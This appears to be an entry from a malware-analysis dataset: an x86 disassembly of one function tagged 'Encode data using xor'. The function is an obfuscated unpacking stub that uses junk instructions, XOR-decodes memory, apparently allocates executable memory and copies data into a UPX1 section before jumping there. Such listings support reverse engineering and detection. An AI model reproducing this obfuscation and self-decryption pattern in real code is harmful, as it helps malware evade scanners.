Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x94826364
sub ebx, 0xac1d489f
not edi
popal
add ebx, 1
inc edi
add ebx, 0x25daf42
mov esi, 0
mov ecx, eax
mov edi, edx
inc edi
mov ebx, ecx
inc edx
add edi, 0xb7c805fc
mov edx, edi
mov eax, ebx
not edi
sub edx, edi
or edi, edi
inc esi
not edi
sub edx, 0xc71464e3
mov edx, edi
cmp esi, 0x100144a
jne 0xa789cd
or edi, edx
or edi, edx
and edi, edi
or ebx, edi
sub edi, 0xff50db79
mov edi, 0xa78796
sub eax, edx
add esi, esi
mov ecx, 0xa7898a
add edx, 0xf8806bd8
sub esi, 0x50cf3827
mov ebx, dword [edi]
sub esi, edx
or esi, edx
inc esi
and ebx, 0xff
or edx, eax
mov esi, 0xa44eda6d
mov edx, 0xb65c16b6
xor dword [ecx], ebx
sub edx, 0xe289c6fb
not edx
not esi
inc ecx
not esi
sub esi, 0x700d5234
add edi, 1
and eax, esi
or edx, eax
cmp ecx, entry0
jl 0xa78a24
add esi, 0x1416f81a
not esi
mov eax, 0x22606c5a
inc eax
dec esi
sub esi, 0xc36ffecf
inc ecx
mov edx, 0xa7898e
mov esi, edi
sub edi, ebx
not ebx
mov edx, dword [edx]
add ecx, 0x7b8e1462
and edi, edi
mov edx, dword [edx]
sub ecx, 0xe0c98cda
not esi
push edx
dec ebx
not edi
sub ecx, 0x134ccd09
mov edx, 0xa7898a
add ebx, 0x6d823172
sub ebx, 0x4dc75fdf
mov edx, dword [edx]
sub edi, ebx
dec ecx
dec ecx
mov edx, dword [edx]
sub edi, 0xba2ec1f6
mov edi, esi
sub ecx, ebx
push 0xa78992
add esi, 0xb0bff9ea
sub ecx, 0x9c4f4c6c
call edx
and ebx, ecx
mov edi, 0x5056333b
add ecx, esi
pop edx
not ecx
sub edi, ecx
not esi
sub esp, 4
mov dword [esp], 0xa7899f
not edi
sub edi, 0xf25af6f
push eax
or ecx, ecx
and ecx, edi
call edx
add ecx, 0xdd0f639c
mov ebx, 0x77c3f3d7
push 0x40
not ecx
mov ecx, edi
mov ebx, 0x8e584ea8
push 0x3000
mov ebx, 0xd898d180
add ebx, 0x8becefb7
sub ecx, 0x374639f6
push 0x20000ffc
mov ebx, ecx
add esi, 0xce9ff30f
not ecx
sub esp, 4
mov dword [esp], 0
mov edi, ebx
not edi
call eax
inc esi
not ebx
add eax, 0x20000f3b
not ebx
not esi
mov edx, 0x9b8de28b
and ecx, esi
add ebx, ebx
and esi, ecx
mov dword [eax], edx
add ecx, ebx
dec ebx
sub ecx, 0x28e43def
mov edx, dword [eax]
and edi, edi
dec ecx
mov esi, ebx
cmp edx, 0x9b8de28b
je 0xa78b8d
mov edx, 0
mov ebx, dword [edx]
sub esi, edi
inc ecx
sub ebx, ecx
sub ebx, 0x133585a7
mov esi, 0x496f18ca
mov edi, 0xb2306e1a
add edi, 0x9825eb15
or ebx, ebx
mov esi, section.UPX1
or edi, ebx
add ebx, ebx
mov edx, 0xa78795
mov edi, 0x563a3f33
sub ebx, 0x5714fabd
mov ecx, 0
sub ebx, edi
not edi
or ebx, edi
mov eax, 0xa78796
and ebx, ebx
dec ebx
lea eax, [ecx + eax]
or edi, edi
inc ebx
mov eax, dword [eax]
or ebx, edi
sub edi, ebx
and eax, 0xff
inc ebx
sub ebx, edi
inc ecx
not edi
mov edi, 0x498a9138
cmp ecx, 0x1f4
jne 0xa78c00
mov ecx, 0
dec edi
add ebx, edi
sub ebx, edi
or ebx, ebx
dec edi
xor dword [esi], eax
sub ebx, edi
mov ebx, edi
sub ebx, 0xc8e19096
add esi, 2
sub edi, 1
or ebx, ebx
add edi, edi
cmp esi, edx
jl 0xa78bce
add edi, 0x78a862bb
not edi
inc ebx
sub edi, 0xbd0a8df5
and edi, edi
sub edi, 0xc9818eba
mov esi, section.UPX1
and edi, edi
mov edi, ebx
not ebx
mov eax, section.UPX1
sub edi, 0x111fb132
add ebx, 0x51cff860
not edi
mov ecx, 0xa78795
and edi, edi
dec edi
mov edi, ebx
mov edx, 0
mov ebx, edi
sub ebx, 1
mov dl, byte [eax]
inc ebx
sub edi, ebx
add edi, ebx
mov byte [esi], dl
mov edi, ebx
sub edi, 0xa8c39afe
inc esi
and edi, edi
not ebx
add edi, ebx
add eax, 2
or edi, ebx
and ebx, edi
sub edi, 0x75b151e
cmp eax, ecx
jle 0xa78c78
or ebx, edi
and ebx, edi
dec edi
mov edi, ebx
sub esp, 4
mov dword [esp], 0x8dc6a0
add edi, ebx
sub ebx, 0xb437fb70
ret